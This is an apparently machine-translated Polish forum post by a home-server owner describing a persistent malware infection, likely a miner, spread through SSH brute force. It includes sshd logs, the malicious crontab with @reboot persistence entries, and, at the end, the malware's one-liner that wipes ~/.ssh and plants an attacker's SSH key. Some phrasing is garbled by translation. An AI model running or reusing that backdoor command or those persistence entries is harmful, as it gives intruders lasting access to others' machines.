Ostatnio zauważyłem, że mój serwer domowy jest boleśnie powolny. Wszystkie zasoby zostały pochłonięte przez dwa procesy: crond64
i tsm
. Mimo że wielokrotnie ich zabijałem, wciąż się pojawiały.
Jednocześnie mój dostawca usług internetowych powiadomił mnie o nadużyciu pochodzącym z mojego adresu IP:
==================== Excerpt from log for 178.22.105.xxx====================
Note: Local timezone is +0100 (CET)
Jan 28 20:55:44 shared06 sshd[26722]: Invalid user admin from 178.22.105.xxx
Jan 28 20:55:44 shared06 sshd[26722]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=178.22.105.xxx
Jan 28 20:55:45 shared06 sshd[26722]: Failed password for invalid user admin from 178.22.105.xxx port 33532 ssh2
Jan 28 20:55:46 shared06 sshd[26722]: Received disconnect from 178.22.105.xxx port 33532:11: Bye Bye [preauth]
Jan 28 20:55:46 shared06 sshd[26722]: Disconnected from 178.22.105.xxx port 33532 [preauth]
Jan 28 21:12:05 shared06 sshd[30920]: Invalid user odm from 178.22.105.xxx
Jan 28 21:12:05 shared06 sshd[30920]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=178.22.105.xxx
Jan 28 21:12:07 shared06 sshd[30920]: Failed password for invalid user odm from 178.22.105.xxx port 45114 ssh2
Jan 28 21:12:07 shared06 sshd[30920]: Received disconnect from 178.22.105.xxx port 45114:11: Bye Bye [preauth]
Jan 28 21:12:07 shared06 sshd[30920]: Disconnected from 178.22.105.xxx port 45114 [preauth]
Byłem z końcówkami o tej stronie, że mogę mieć wirusa. Uruchomiłem Sophos AV, skanując cały dysk twardy i rzeczywiście znalazł wirusa /tmp/.mountfs/.rsync
. Więc usunąłem cały folder i pomyślałem, że to jest to. Ale potem wracało. Następnie sprawdziłem plik cron użytkownika /var/spool/cron/crontabs/kodi
(wirus działał przy użyciu użytkownika mojego serwera mediów kodi), który wyglądał tak:
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (cron.d installed on Sun Feb 3 21:52:03 2019)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
* */12 * * * /home/kodi/.ttp/a/upd>/dev/null 2>&1
@reboot /home/kodi/.ttp/a/upd>/dev/null 2>&1
5 8 * * 0 /home/kodi/.ttp/b/sync>/dev/null 2>&1
@reboot /home/kodi/.ttp/b/sync>/dev/null 2>&1
#5 1 * * * /tmp/.mountfs/.rsync/c/aptitude>/dev/null 2>&1
Wygląda na to, że wirus reaktywuje się co jakiś czas z innego katalogu. Zawartość tego katalogu to:
>>> ls /home/kodi/.ttp/*
/home/kodi/.ttp/cron.d /home/kodi/.ttp/dir2.dir
/home/kodi/.ttp/a:
a bash.pid config.txt crond32 crond64 cronda crondb dir.dir pools.txt run stop upd
/home/kodi/.ttp/b:
a dir.dir rsync run stop sync
/home/kodi/.ttp/c:
aptitude dir.dir go ip lib n p run slow start stop tsm tsm32 tsm64 v watchdog
Usunąłem wszystkie te pliki i wpisy w crontab i mam nadzieję, że dzięki temu problem został rozwiązany. Byłbym jednak zainteresowany tym, co to był wirus, jak go złapałem (może być podłączony do Kodi) i co mogę zrobić, aby temu zapobiec. Na szczęście był uruchamiany tylko przez użytkownika z ograniczonymi prawami, ale irytujący był nadal.
EDYTOWAĆ
Chociaż pozornie usunąłem wszystkie pozostałości tego wirusa (usunąłem również cały folder tmp), wirus wciąż wracał. Uświadomiłem sobie, że istnieje wpis ~/.ssh/authorized_hosts
, którego na pewno nie umieściłem. To wyjaśnia, w jaki sposób wirus może być wielokrotnie przesadzany. Usunąłem wpis, wyłączyłem logowanie dla tego użytkownika, wylogowałem hasło (tylko hasło) i korzystam teraz z niestandardowego portu.
Zauważyłem też wielokrotne próby logowania na moim serwerze losowymi nazwami użytkowników, prawdopodobnie przez jakiegoś bota (dziennik wyglądał zadziwiająco podobnie do tego uruchomionego z mojego adresu IP, wysłanego do mnie przez mojego dostawcę usług internetowych). Myślę, że w ten sposób mój komputer został zainfekowany.
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB... ...VKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod 700 .ssh && cd .ssh && chmod 600 authorized_keys && cd ~
. Zrobiłem to, cp /etc/skel/.bashrc /home/mycompromiseduser/
aby go usunąć.